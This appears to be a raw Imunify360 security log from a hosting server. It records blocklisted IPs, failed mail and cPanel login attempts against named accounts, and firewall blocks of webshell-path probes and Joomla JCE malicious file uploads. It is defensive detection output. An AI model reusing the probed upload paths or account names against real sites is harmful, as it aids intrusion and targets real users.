2026-07-22 06:47:50 dovecot_login authenticator failed for H=([220.92.179.226]) [103.171.55.242]:51504: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 06:50:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 06:52:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 06:58:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 07:01:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 07:07:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 07:08:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 07:11:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 88.230.228.122
country_id: 298795
domain: elegantautomotives.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/elegantautomotiv/public_html/administrator/components/com_jdownloads||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 107.173.185.49
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://yedhod18.com/video/\">YEDHOD18</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.176.197
country_id: 6252001
description:
Jul 22 07:13:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.176.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 07:14:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 07:19:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.16.192.32
country_id: 1835841
description:
Jul 22 07:20:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.16.192.32 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.16.192.32
country_id: 1835841
description:
2026-07-22 07:20:38 dovecot_login authenticator failed for H=([195.158.26.59]) [59.16.192.32]:47636: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 157.211.1.171
country_id: 2077456
description:
Jul 22 07:20:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 157.211.1.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.211.1.171
country_id: 2077456
description:
2026-07-22 07:20:56 dovecot_login authenticator failed for H=([41.224.62.206]) [157.211.1.171]:43783: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.110.136
country_id: 1668284
description:
2026-07-22 07:20:30 dovecot_login authenticator failed for H=110-25-110-136.adsl.fetnet.net (dloja.static.gvt.net.br) [110.25.110.136]:41328: 535 Incorrect authentication data


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 80.21.154.245
country_id: 3175395
domain: combinations.in
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:14041.combinations.in||ServerName:combinations.in||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2c863aef8e36dca784f40cc8d45b64961b2fef74||Title:0x499faae2||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 07:24:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.163.35
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:48880.cochinbigbandshow.com||ServerName:cochinbigbandshow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a6aa87b48296eab5d2c3c7ace4847af53a7e34b0||Title:0x1d3cd0ca||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 07:28:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://encyclobeedia.com/index.php?title=User:KristiEvj2478418\">Click here</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 114.10.148.203
country_id: 1643084
domain: www.globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcea8i3xwm5.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 07:31:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 184.160.96.106
country_id: 6251999
domain: combinations.in
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:77222.combinations.in||ServerName:combinations.in||Method:metaWeblog.newPost||BlogID:1||TitleSHA:470aba09fad6bbccf1d4cca6aecc040f5cf42c0d||Title:05m6bxisvc85zf6qdo||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 07:32:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 07:38:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 66.45.144.201
country_id: 6252001
description:
Jul 22 07:42:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 66.45.144.201 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.45.144.201
country_id: 6252001
description:
2026-07-22 07:42:11 dovecot_login authenticator failed for H=66-45-144-201-dynamic.midco.net ([38.108.83.81]) [66.45.144.201]:53270: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 07:42:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.11.205.214
country_id: 1835841
description:
Jul 22 07:42:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.11.205.214 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.11.205.214
country_id: 1835841
description:
2026-07-22 07:42:40 dovecot_login authenticator failed for H=([27.39.130.144]) [59.11.205.214]:59596: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.86.169.92
country_id: 1819730
description:
Jul 22 07:44:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.86.169.92 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 07:45:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 07:45:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.145.124.90
country_id: 1269750
description:
Jul 22 07:48:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.145.124.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.124.90
country_id: 1269750
description:
2026-07-22 07:48:40 dovecot_plain authenticator failed for H=(gumus) [59.145.124.90]:49740: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.146.20.92
country_id: 6252001
description:
[2026-07-22 07:49:16 +0530] info [whostmgrd] 52.146.20.92 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 07:52:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.30
country_id: 1668284
description:
2026-07-22 07:56:40 dovecot_login authenticator failed for H=(ip4.gtt.net) [101.13.5.30]:34338: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.82
country_id: 1269750
description:
2026-07-22 07:56:54 dovecot_login authenticator failed for H=([27.39.128.169]) [182.95.61.82]:38924: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 07:57:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 196.247.225.93
country_id: 2623032
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://yedhod18.com/catalog/olf-thai-xxx/\">YEDHOD18</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 08:00:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 08:03:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 08:07:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 165.101.222.22
country_id: 1210997
description:
Jul 22 08:08:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 165.101.222.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.101.222.22
country_id: 1210997
description:
2026-07-22 08:08:07 dovecot_login authenticator failed for H=([60.214.127.246]) [165.101.222.22]:57827: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.197.130
country_id: 1269750
description:
2026-07-22 08:08:18 dovecot_login authenticator failed for H=([218.92.236.102]) [152.52.197.130]:57350: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.52.197.130
country_id: 1269750
description:
Jul 22 08:08:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.52.197.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 08:08:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 08:13:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.207.248.138
country_id: 2328926
description:
Jul 22 08:15:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.207.248.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.207.248.138
country_id: 2328926
description:
2026-07-22 08:15:33 dovecot_login authenticator failed for H=([14.99.61.248]) [41.207.248.138]:47586: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.235.25.2
country_id: 2635167
description:
Jul 22 08:15:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.235.25.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.235.25.2
country_id: 2635167
description:
2026-07-22 08:15:42 dovecot_login authenticator failed for H=([189.108.96.183]) [213.235.25.2]:51075: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 08:18:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.86.169.92
country_id: 1819730
description:
Jul 22 08:20:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.86.169.92 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.250.160.76
country_id: 1269750
description:
2026-07-22 08:19:47 dovecot_login authenticator failed for H=([14.102.101.248]) [103.250.160.76]:46998: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.250.160.76
country_id: 1269750
description:
Jul 22 08:19:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.250.160.76 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 08:22:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 08:30:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 08:32:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.172
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://unblocked-games-76-77.s3.amazonaws.com/index.html\">unblocked games 76</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 08:40:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 08:44:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 151.241.154.226
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:yoru_9e30304a.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 08:45:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.65
country_id: 3686110
description:
2026-07-22 08:52:30 dovecot_login authenticator failed for H=([136.29.52.7]) [206.62.136.65]:56434: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


